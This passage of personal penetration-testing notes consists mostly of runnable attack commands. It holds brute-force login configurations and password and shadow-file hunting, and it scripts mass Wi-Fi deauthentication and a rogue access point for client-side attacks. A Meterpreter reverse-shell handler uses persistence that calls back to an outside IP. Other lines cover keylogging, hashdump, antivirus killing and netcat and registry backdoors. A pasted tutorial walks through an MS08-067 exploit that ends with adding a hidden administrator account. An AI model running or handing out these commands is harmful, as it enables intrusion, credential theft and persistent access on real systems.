1235 DCERPC::fake_bind_multi true
1236 DCERPC::fake_bind_multi_append 0
1237 DCERPC::fake_bind_multi_prepend 0
1238 DCERPC::max_frag_size 4096
1239 DCERPC::smb_pipeio rw
1240 MaxGuessesPerService 0
1241 MaxGuessesPerUser 0
1242 MaxMinutesPerService 0
1243 NTLM::SendLM true
1244 NTLM::SendNTLM true
1245 NTLM::SendSPN true
1246 NTLM::UseLMKey false
1247 NTLM::UseNTLM2_session true
1248 NTLM::UseNTLMv2 true
1249 PRESERVE_DOMAINS true
1250 REMOVE_PASS_FILE false
1251 REMOVE_USERPASS_FILE false
1252 REMOVE_USER_FILE false
1253 RHOST file:/home/rmccurdy/high
1254
1255# http
1256
1257use auxiliary/scanner/http/http_login
1258set AUTH_URI /folder?dcPath=ha-datacenter
1259set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
1260set VERBOSE true
1261run
1262back
1263
1264# telnet
1265use auxiliary/scanner/telnet/telnet_login
1266set RHOSTS 127.0.0.1,49,50
1267
1268set PASS_FILE "C:/wordlist/password_small.txt"
1269set THREADS 254
1270run
1271
1272back
1273# mssql
1274use auxiliary/scanner/mssql/mssql_login
1275set RHOSTS 127.0.0.1
1276set PASS_FILE "C:/wordlist/password_small.txt"
1277set USERNAME sa
1278set VERBOSE false
1279run
1280back
1281
1282
1283
1284#ftp
1285use auxiliary/scanner/ftp/ftp_login
1286set RHOSTS 127.0.0.1
1287set PASS_FILE /home/administrator/small.txt
1288set USER_FILE /home/administrator/small.txt
1289set BRUTEFORCE_SPEED 1
1290run
1291
1292#snmp
1293use auxiliary/scanner/snmp/snmp_login
1294set RHOSTS 127.0.0.1
1295set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
1296set VERBOSE false
1297
1298run
1299
1300nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
1301./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
1302# got r00t got r00t ?
1303
1304# search home for passwords ..
1305cd /home
1306grep -iar password * -A 1 -B 1 |strings >/tmp/home_pass;less /tmp/home_pass
1307
1308# search a path for READ accesss using file command
1309find . -maxdepth 5 -exec file '{}' \; | grep -v "no read" | grep -v directory >/tmp/mnt
1310
1311# bash history very gooOOOd !
1312updatedb;locate .bash_history
1313
1314# crack with extrem gpu brute force
1315cat /etc/shadow | grep -v ":\*:"
1316# use on other servers by checking bash history
1317updatedb;locate authorized
1318
1319# find files modifyed the past 7 days
1320find / -type f -mtime -7|egrep -v "(proc|\/sys)"
1321
1322# you can look for other file types sql,*.php,*sql.tar.gz,*pass*,sudousers,/etc/passwd,/root/.ssh or ~/.ssh,password
1323locate *.sql
1324locate sql.tar.gz
1325# what services are listing the part at the top
1326netstat -na | grep LIS
1327lsof -nPi
1328---------
1329
1330more notes :
1331-------------
1332# class b ADDfff -Pn to not ping ( assume up and no ping scan, it will take longer ) use control + D to end script and save at job
1333# this will run at 7pm in a screen so you can reattach / check status and Ctrl+c out to save and use nmap -r to resume if need be
1334at 19:00
1335screen bash at.sh
1336# at.sh script
1337nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 192.159.0.0/16 -oA /home/administrator/rmccurdy/safg/192.159.0.0_fast_ping
1338# class b external 65k host fast ping scan 7 ports 30min
1339# Nmap 5.61TEST2 scan initiated Thu Dec 29 21:02:11 2011 as: nmap -T5 -p 20,21,80,115,443,989,990 -vvvv -sS -n --max-rtt-timeout 300ms --max-retries 1 -oA /home/administrator/rmccurdy/safg/192.30.0.0_fast_ping 192.30.0.0/16
1340# Ports scanned: TCP(7;20-21,80,115,443,989-990) UDP(0;) SCTP(0;) PROTOCOLS(0;)
1341# Nmap done at Thu Dec 29 21:29:10 2011 -- 65536 IP addresses (40675 hosts up) scanned in 1618.92 seconds
1342
1343nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=zonetransfer.me -p 53 ns12.zoneedit.com
1344for i in `cat 1` ; do curl http://api.hackertarget.com/zonetransfer/?q=$i;done
1345
1346
1347# medusa hydra
1348./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
1349
1350
1351http://www.foofus.net/~jmk/medusa/medusa.html
1352medusa -M ftp -H targets -u Anonymous -p input_file -v 6 -T 30 -g 2 -R 1
1353medusa -M mysql -H # change the -T for more threds -t is for per host keep it 1 ..
1354medusa -M ssh -H 22 -u root -p tcr1tt3r -v 6 -g 2 -R 1 -t 1 -T 1
1355medusa -h 192.168.1.103 -u administrator -P passwords.txt -e ns -M smbnt
1356
1357
1358mysql -u root -P mysqlpass.txt -v 6 -T 1 -g 2 -R 1
1359nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
1360
1361# email over telnet
1362RSET
1363HELO
1364MAIL FROM:<root@whatismyip.com>
1365RCPT TO:<"freeload101@yahoo.com">
1366data
1367this is a test from w00t
1368.
1369--------
1370route add 10.101.14.0 netmask 255.255.255.0 gw 10.101.13.1 dev eth05
1371
1372.\nmap -script smb-check-vulns.nse --script-args=unsafe=1 -p445 10.104.101.59
1373.\nmap --script smb-enum-shares.nse -p445 10.104.101.59
1374.\nmap --script smb-enum-users.nse -p445 10.104.101.59
1375.\nmap.exe --script smtp-commands.nse -pT:25,465,587
1376.\nmap.exe --script smtp-enum-users.nse -pT:25,465,587
1377 a
1378
1379# sid enum using nmap and metasploits sid.txt 1307 sids in ~8 seconds
1380nmap -n --script=oracle-sid-brute -p 1521-1560 192.168.1.141
1381
1382# try 1255 user/pass
1383# requires valid SID ( default is XE )
1384# Performed 1245 guesses in 3 seconds, average tps: 415
1385nmap --script oracle-brute -p 1521-1560 --script-args oracle-brute.sid=XE -n 192.168.1.141
1386
1387# oracle shell using OAT Oracle Audit Tool
1388ose.bat -s 192.168.1.141 -u SYS -p CHANGE_ON_INSTALL -d XE -t Windows
1389
1390# route all to 10.127.120.97
1391route add 0.0.0.0 mask 0.0.0.0 10.127.120.97
1392# route 75.131.211.0 to VPN or other connectoin
1393route add 75.131.211.0 mask 255.255.255.0 192.168.77.254
1394# route rmccurdy over VPN
1395route add 75.131.211.0 mask 255.255.255.0 10.31.128.1
1396
1397
1398warvox notes:
1399* you also have to contact support and have IAX unlocked on the account
1400· Normally I have 3 max threads and set it for 15-20 sec then with sql get the completed = 0 and run them thought again with 53 sec ringtime.
1401· Let me know if you need any help
1402google warvox for general notes "login etc .. just read all of it please ... use vitelity as the provider )
14033 at a time max ..
1404screen
1405ruby warvox.rb ( run warvox in screen so you can screen -r if you get dropped google screen Manuel ... )
1406use SELF as the caller ID
1407ranges are 15555555555:15555555555
1408or 155555XXX
1409
1410
1411SELECT * FROM DIAL_RESULTS where completed = 'f' and dial_job_id >= '68' and busy = 'f' and ringtime <= '52';
1412* if don.t add the .and ringtime <= '52' I get 2K hits . I would assume this is because it if did not answer it labeled it as not completed instead of labeling it timeout for some reason ?
1413* ~700 ringtime <= '52' with no data file... some high ringtimes but most were instant busy signal but not marked as complete or busy with no data file
1414SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'voice' ;
1415SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'fax' ;
1416SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'modem' ;
1417SELECT * FROM DIAL_RESULTS where dial_job_id = '110' and busy = 't';
1418
1419
1420rcracki_mt /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f /usr/local/sbin/hash
1421rcrack /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f hash2
1422# example input file 4ee is null or blank
1423# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
1424#notes
1425http://ob-security.info/?tag=hashcat
1426
1427
1428
1429
1430
1431wget -O giskismet-0.02.tar.gz \
1432"http://my-trac.assembla.com/giskismet/browser/tags/giskismet-0.02.tar.gz?format=raw"
1433tar -xzvf giskismet-0.02.tar.gz
1434rm giskismet-0.02.tar.gz
1435
1436We need a few packages first.
1437
1438apt-get update
1439apt-get install libxml-libxml-perl libdbi-perl libdbd-sqlite3-perl -y
1440
1441Do the install
1442
1443
1444cd giskismet-0.02
1445perl Makefile.PL
1446make
1447make install
1448
1449
1450
1451giskismet -x wardrive.netxml
1452giskismet -q "select * from wireless" -o output.kml
1453
1454
1455giskismet -q 'select * from wireless where ESSID like "_%"' wireless.dbl -o ouput2.kml
1456
1457
1458Before we map our dat
1459
1460# following steps are for BT4:
1461# edit the kismet.conf and add the /dev/ttyUSB0 etc .. (find / -name kismet.conf )
1462# load the kernal mod for garmin gps
1463modprobe garmin_gps
1464# plugin the the garmion GPS18 USB puck
1465# if I dont run this command it hangs and kill -9 will not even work so have to reboot
1466mount -t usbfs none /proc/bus/usb/
1467# setup gpsd shoud show changy bits so you know it is trying to lock !
1468dpkg-reconfigure gpsd
1469#start gpsd
1470/etc/init.d/gpsd stop
1471gpsd -N -n -D 2 /dev/ttyUSB0
1472# test
1473ls -al /dev/ttyUSB0
1474xgps
1475#also test by
1476telnet localhost 2947
1477# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
1478
1479/etc/init.d/wicd stop
1480/etc/init.d/networking stop
1481killall dhclient dhcpcd
1482
1483
1484
1485Ubuntu Packages - For whatever reason, Ubuntu has stopped updating Kismet in their repositories.
1486
1487To add Kismet as a repository and get updates automatically, add the following to your /etc/apt/sources.lst or to /etc/apt/sources.list.d/kismet.list:
1488
1489 For Ubuntu Oneiric (11.10): deb https://www.kismetwireless.net/code/ oneiric kismet
1490 For Ubuntu Precise (12.04): deb https://www.kismetwireless.net/code/ precise kismet
1491 For Ubnutu Quantal (12.10): deb https://www.kismetwireless.net/code/ quantal kismet
1492
1493
1494 To add the Kismet signing key (signed by my primary key, available above) to your trusted keys:
1495
1496 curl https://www.kismetwireless.net/code/dists/kismet-release.gpg | sudo apt-key add -
1497
1498# ssh logins
1499use auxiliary/scanner/ssh/ssh_login
1500set RHOSTS 10.13.102.2,177
1501set USER_FILE "C:/wordlist/password_small.txt"
1502set RHOSTS_FILE "C:/wordlist/targests.txt"
1503run
1504back
1505use auxiliary/gather/dns_enum
1506set DOMAIN 10.21.1.69
1507run
1508
1509
1510
1511
1512
1513--------------------------------------
1514
1515airbase notes
1516------------
1517mass deauth
1518# broken because you need listen on the right channel before you deauth ... so I need channel and sesstion and ap info all in one line ..
1519# cleanup
1520rm -f clients*.csv
1521# dump clients
1522airodump-ng mon0 -o csv -w clients &
1523# lets sleep on it we need station ids
1524sleep 60
1525killall airodump-ng
1526# make script to mass deauth
1527grep -ia -A 10000 Station clients*.csv |egrep -v "(not|Station)" | sed 's/,/ /g' | awk '{print "aireplay-ng -0 1 -a",$8,"mon0 --ignore-negative-one -c",$1}'|grep : > killclients
1528bash -x killclients
1529-----------------------------------------------
1530gogogo
1531----------------
1532^Croot@bt:/stuff/airbase# cat GO
1533
1534killall avahi-daemon avahi-daemon NetworkManager wpa_supplicant
1535killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
1536airmon-ng start wlan1
1537sleep 5
1538xterm -e "airbase-ng -c 6 -P mon0 -v" &
1539sleep 5
1540ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
1541dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 &
1542sleep 5
1543cd /pentest/exploits/framework &
1544xterm -e "tcpdump -i at0 -n port 67 and port 68" &
1545sleep 5
1546xterm -e "/pentest/exploits/framework/msfconsole -r /pentest/exploits/framework/karma.rc"
1547------------------
1548# depends for airdcrack
1549
1550apt-get install build-essential -y
1551apt-get install libssl-dev -y
1552apt-get install openssl-dev -y
1553apt-get install partimage gparted lynx links curl nmap iotop screen medusa trafshow wireshark -y --force-yes
1554# more depends set autopwn
1555apt-get install upx-ucl upx-nrv -y
1556apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby subversion sqlite3 libsqlite3-ruby irb -y
1557apt-get install ruby libruby rdoc -y
1558apt-get install libyaml-ruby -y
1559apt-get install libzlib-ruby -y
1560apt-get install libopenssl-ruby -y
1561apt-get install libdl-ruby -y
1562apt-get install libreadline-ruby -y
1563apt-get install libiconv-ruby -y
1564apt-get install rubygems -y
1565
1566#apt-get install postgresql postgresql-client postgresql-contrib -y
1567apt-get install pgadmin3 -y
1568apt-get install python-pymssql -y
1569gem1.8 install rails
1570# get set and msf
1571mkdir /pentest/
1572mkdir /pentest/exploits
1573cd /pentest/exploits
1574# check out /install aircrack latest
1575svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
1576cd aircrack-ng
1577make clean
1578make
1579make install
1580airodump-ng-oui-update
1581# create mon0
1582airmon-ng start wlan1
1583# start airbase on mon0 it creates at0 to us with dhcpd ! ( may not need to include channel ... )
1584airbase-ng -c 6 -P mon0 -v
1585# install dhcp3 server
1586apt-get install dhcp3-server -y
1587-----------------------------------------------------------
1588# DHCP CONF
1589cat /etc/dhcp3/dhcpd.conf
1590----------------------------------------------------------------
1591option domain-name-servers 10.0.0.1;
1592default-lease-time 60;
1593max-lease-time 72;
1594ddns-update-style none;
1595authoritative;
1596log-facility local7;
1597subnet 10.0.0.0 netmask 255.255.255.0 {
1598range 10.0.0.100 10.0.0.254;
1599option routers 10.0.0.1;
1600option domain-name-servers 10.0.0.1;
1601}
1602-------------------------------------------------------------------------------
1603# setup at0 interface that airbase created to listen on IP configured for dhcp server
1604ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
1605# start dhcp server
1606dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
1607# cd to framework root ..
1608cd /pentest/exploits/framework
1609wget http://digitaloffense.net/tools/karma.rc -O karma.rc
1610# start msfconsole using the mass client sides basicly karma.rc
1611msfconsole -r karma.rc
1612# start TCP dump looking for DHCP requests from the remote host !
1613tcpdump -i at0 -n port 67 and port 68
1614# mass client side too buggy ... to many iframes ... come back to it ... try SMB_REPLAY attack ...? or limit client side attacks ?
1615# for mass client side attack using etterfilter for targets:
1616apt-get install ettercap -y
1617# run mass client side attack
1618cd /pentest/exploits/fasttrack
1619fast-track.py -i
1620# choose mass client side attack etc and run metasploitloadfile manuely ...
1621# when all is running etc .... start msfconsole with the metasploitloadfile script in the base folder of fasttrack
1622msfconsole -r metasploitloadfile
1623http://digitaloffense.net/tools/karma.rc
1624+-+-+-
1625airmon-ng start wlan0
1626airbase-ng -c 9 -P -C60 -z 2 -W 1 mon0
1627ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
1628 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan0
1629killall dhclient dhcpcd dhclient3
1630airmon-ng start wlan1
1631airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
1632ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0
1633dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
1634iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
1635iptables --append FORWARD --in-interface at0 -j ACCEPT
1636echo 1 > /proc/sys/net/ipv4/ip_forward
1637#airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
163800:0C:43:41:46:34 -37 13 2 0 6 54e. WPA TKIP PSK rmccurdyDOTcom1
1639
1640airbase-ng -c 6 -a 00:0C:43:41:46:34 -C60 -z 2 -W 1 -v --essid rmccurdyDOTcom1 mon0
1641dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
1642i
1643dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
1644tcpdump -i at0 -n port 67 and port 68
1645 armatage
1646apt-get install -y postgresql
1647apt-get install libpq-dev -y
1648gem install postgres
1649
1650/etc/init.d/postgresql start
1651
1652
1653
1654su -
1655su - postgres
1656
1657
1658createuser msf_user -P
1659createdb --owner=msf_user msf
1660
1661/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
1662/pentest/exploits/framework/armitage
1663wifi notes
1664------------------------
1665internet@rmccurdydotcom /cygdrive/c/temp
1666# egrep "BSSID|<manuf>|<max_signal_dbm>|<ssid>" "Kismet-20110929-11-17-47-1.net
1667xml" | tr -d '\n' | awk '{gsub("<BSSID>",",\n"); print}' | sed -e 's/<\/BSSID>
1668/,/g' -e 's/ <manuf>//g' -e 's/<\/manuf>//g' -e 's/ <max_signal_dbm>/,/
1669g' -e 's/<\/max_signal_dbm>/,/'g -e 's/ <ssid>/,/g' -e 's/<\/ssid>//
1670g'> 2.csv
1671internet@rmccurdydotcom /cygdrive/c/temp
1672# load the kernal mod for garmin gps
1673modprobe garmin_gps
1674# plugin the the garmion GPS18 USB puck
1675# if I dont run this command it hangs and kill -9 will not even work so have to reboot
1676mount -t usbfs none /proc/bus/usb/
1677# setup gpsd
1678dpkg-reconfigure gps
1679# test
1680ls -al /dev/ttyUSB0
1681xgps
1682#also test by
1683telnet localhost 2947
1684# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
1685
1686------------------------
1687
1688
1689
1690
1691----------------------
1692
1693use exploit/multi/handler
1694set PAYLOAD windows/meterpreter/reverse_tcp
1695set LHOST rmccurdy.com
1696set LPORT 21
1697set ExitOnSession false
1698# set AutoRunScript pathto script you want to autorun after exploit is run
1699set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
1700
1701exploit -j -z
1702
1703
1704
1705# file_autopwn
1706rm -Rf /tmp/1
1707mkdir /tmp/1
1708rm -Rf ~/.msf3
1709
1710wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf
1711
1712./msfconsole
1713
1714db_driver sqlite3
1715db_create pentest11
1716setg LHOST 75.139.158.51
1717setg LPORT 21
1718setg SRVPORT 21
1719setg LPORT_WIN32 21
1720
1721setg INFILENAME /tmp/file3.pdf
1722
1723
1724use auxiliary/server/file_autopwn
1725
1726set OUTPATH /tmp/1
1727
1728set URIPATH /msf
1729set SSL true
1730set ExitOnSession false
1731set PAYLOAD windows/meterpreter/reverse_tcp
1732setg PAYLOAD windows/meterpreter/reverse_tcp
1733set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
1734run
1735
1736
1737
1738# shows all the scripts
1739run [tab]
1740
1741# persistence! broken ...if you use DNS name ..
1742run persistence -r 75.139.158.51 -p 21 -A -X -i 30
1743# new method run persistence -U -i 5 -p 443 -r 192.168.1.71
1744
1745run get_pidgin_creds
1746
1747idletime
1748sysinfo
1749
1750
1751# SYSTEM SHELL ( pick a proc that is run by system )
1752migrate 376
1753shell
1754
1755# session hijack tokens
1756use incognito
1757impersonate_token "NT AUTHORITY\\SYSTEM"
1758
1759# eslcate to system
1760use priv
1761getsystem
1762
1763
1764execute -f cmd.exe -H -c -i -t
1765execute -f cmd.exe -i -t
1766
1767# list top used apps
1768run prefetchtool -x 20
1769
1770# list installed apps
1771run prefetchtool -p
1772
1773run get_local_subnets
1774
1775# find and download files
1776run search_dwld "%USERPROFILE%\\my documents" passwd
1777run search_dwld "%USERPROFILE%\\desktop passwd
1778run search_dwld "%USERPROFILE%\\my documents" office
1779run search_dwld "%USERPROFILE%\\desktop" office
1780
1781# alternate
1782download -r "%USERPROFILE%\\desktop" ~/
1783download -r "%USERPROFILE%\\my documents" ~/
1784
1785# alternate to shell not SYSTEM
1786# execute -f cmd.exe -H -c -i -t
1787
1788
1789# does some run wmic commands etc
1790run winenum
1791
1792
1793
1794# rev shell the hard way
1795run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
1796
1797# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
1798run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
1799run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
1800
1801# vnc / port fwd for linux
1802run vnc
1803
1804# priv esc
1805run kitrap0d
1806
1807
1808
1809run getgui
1810
1811# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
1812run killav
1813
1814run winemun
1815
1816run memdump
1817
1818run screen_unlock
1819
1820upload /tmp/system32.exe C:\\windows\\system32\\
1821reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
1822reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
1823reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
1824reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
1825reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys
1826reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
1827upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
1828
1829
1830
1831
1832getuid
1833ps
1834getpid
1835keyscan_start
1836keyscan_dump
1837migrate 520
1838portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
1839portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666
1840
1841shell
1842run myremotefileserver_mserver -h
1843run myremotefileserver_mserver -p 8787
1844
1845run msf_bind
1846run msf_bind -p 1975
1847rev2self
1848getuid
1849
1850getuid
1851
1852
1853
1854enumdesktops
1855grabdesktop
1856
1857run deploymsf -f framework-3.3-dev.exe
1858
1859run hashdump
1860run metsvc
1861run scraper
1862run checkvm
1863run keylogrecorder
1864run netenum -fl -hl localhostlist.txt -d google.com
1865run netenum -rl -r 10.192.0.50-10.192.0.254
1866run netenum -st -d google.com
1867run netenum -ps -r 10.192.0.50-254
1868
1869
1870# Windows Login Brute Force Meterpreter Script
1871run winbf -h
1872
1873# upload a script or executable and run it
1874uploadexec
1875
1876
1877# Using Payload As A Backdoor from a shell
1878
1879REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
1880at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
1881SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011
1882
1883
1884
1885# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
1886catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
1887catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
1888catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy
1889
1890Nessus Scanning through a Metasploit Meterpreter Session
1891By
1892Mark Baggett
1893on March 16, 2010 6:44 AM | Permalink
1894
1895By Mark Baggett
1896
1897Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.
1898
1899The Players
1900Attacker 172.16.186.132
1901Victim 172.16.186.126
1902
1903Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.
1904
1905Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:
1906
1907meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22
1908
1909This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).
1910
1911
1912Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:
1913
1914# ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132
1915
1916This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.
1917
1918Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:
1919
1920# proxychains /usr/sbin/nessusd -D
1921
1922Step 5 - Start the nessus client and do you scan.
1923
1924Preparing for a custom command line OpenSSH Installation in your lab
1925
1926The basic steps to prepare a command line OpenSSH installation for Windows are as follows:
1927
19281. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download
1929
19302. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH
1931
19323. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.
1933
19344. Export the following registry keys using the REG EXPORT command as follows:
1935
1936REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
1937REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
1938REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG
1939
19405. Concatenate all of these registry files together into one file.
1941TYPE 1.REG 2.REG 3.REG >OPENSSH.REG
1942
19436. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.
1944
1945
1946Performing an installation via command shell
1947
1948Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.
1949
1950Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.
1951
1952
1953Exploiting the Vulnerability
1954
1955[root@localhost framework-3.2]# nc -v 192.168.1.40 445
1956Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
1957[root@localhost framework-3.2]# ./msfconsole
1958
1959msf > search exploits ms08_067
1960[*] Searching loaded modules for pattern 'ms08_067'...
1961Exploits
1962========
1963Name Description
1964---- -----------
1965windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
1966msf > use windows/smb/ms08_067_netapi
1967
1968msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
1969PAYLOAD => windows/meterpreter/bind_tcp
1970msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
1971RHOST => 192.168.1.40
1972msf exploit(ms08_067_netapi) > set TARGET 5
1973TARGET => 5
1974msf exploit(ms08_067_netapi) > show options
1975
1976... truncated output ...
1977Exploit target:
1978
1979Id Name
1980-- ----
19815 Windows 2003 SP0 Universal
1982
1983
1984msf exploit(ms08_067_netapi) > exploit
1985[*] Started bind handler
1986[*] Triggering the vulnerability...
1987[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
1988[*] Sending stage (2650 bytes)
1989[*] Sleeping before handling stage...
1990[*] Uploading DLL (75787 bytes)...
1991[*] Upload completed.
1992[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)
1993
1994meterpreter > sysinfo
1995Computer: SYSTEM-HJ28HHGL7N
1996OS : Windows .NET Server (Build 3790, ).
1997
1998
1999Uploading your OpenSSH Files
2000
2001meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
2002meterpreter > lpwd
2003/mnt/PenTestTools/win32/OpenSSH
2004meterpreter > cd \
2005meterpreter > cd "Program Files"
2006meterpreter > mkdir openssh
2007Creating directory: openssh
2008meterpreter > cd openssh
2009meterpreter > pwd
2010C:\Program Files\openssh
2011meterpreter > upload -r . .
2012[*] uploading : ./uninstall.exe -> .\uninstall.exe
2013[*] uploaded : ./uninstall.exe -> .\uninstall.exe
2014[*] mirroring : ./bin -> .\bin
2015[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
2016[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
2017[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
2018[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
2019[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
2020[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
2021.... lots of output truncated ....
2022
2023meterpreter > execute -f cmd.exe .i
2024Process 848 created.
2025Channel 66 created.
2026
2027
2028
2029Modifying the Registry and Adding Your Own Username
2030
2031Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.
2032
2033
2034Microsoft Windows [Version 5.2.3790]
2035(C) Copyright 1985-2003 Microsoft Corp.
2036C:\Program Files\openssh>whoami
2037whoami
2038nt authority\system
2039
2040C:\Program Files\openssh>reg import openssh.reg
2041reg import openssh.reg
2042The operation completed successfully.
2043
2044C:\Program Files\openssh>net user inet_p0wned gameover /add
2045net user inet_p0wned gameover /add
2046The command completed successfully.
2047
2048
2049C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
2050net localgroup administrators inet_p0wned /add
2051The command completed successfully.
2052
2053
2054C:\Program Files\openssh>cd etc
2055cd etc
2056
2057C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
2058..\bin\mkpasswd -l >passwd
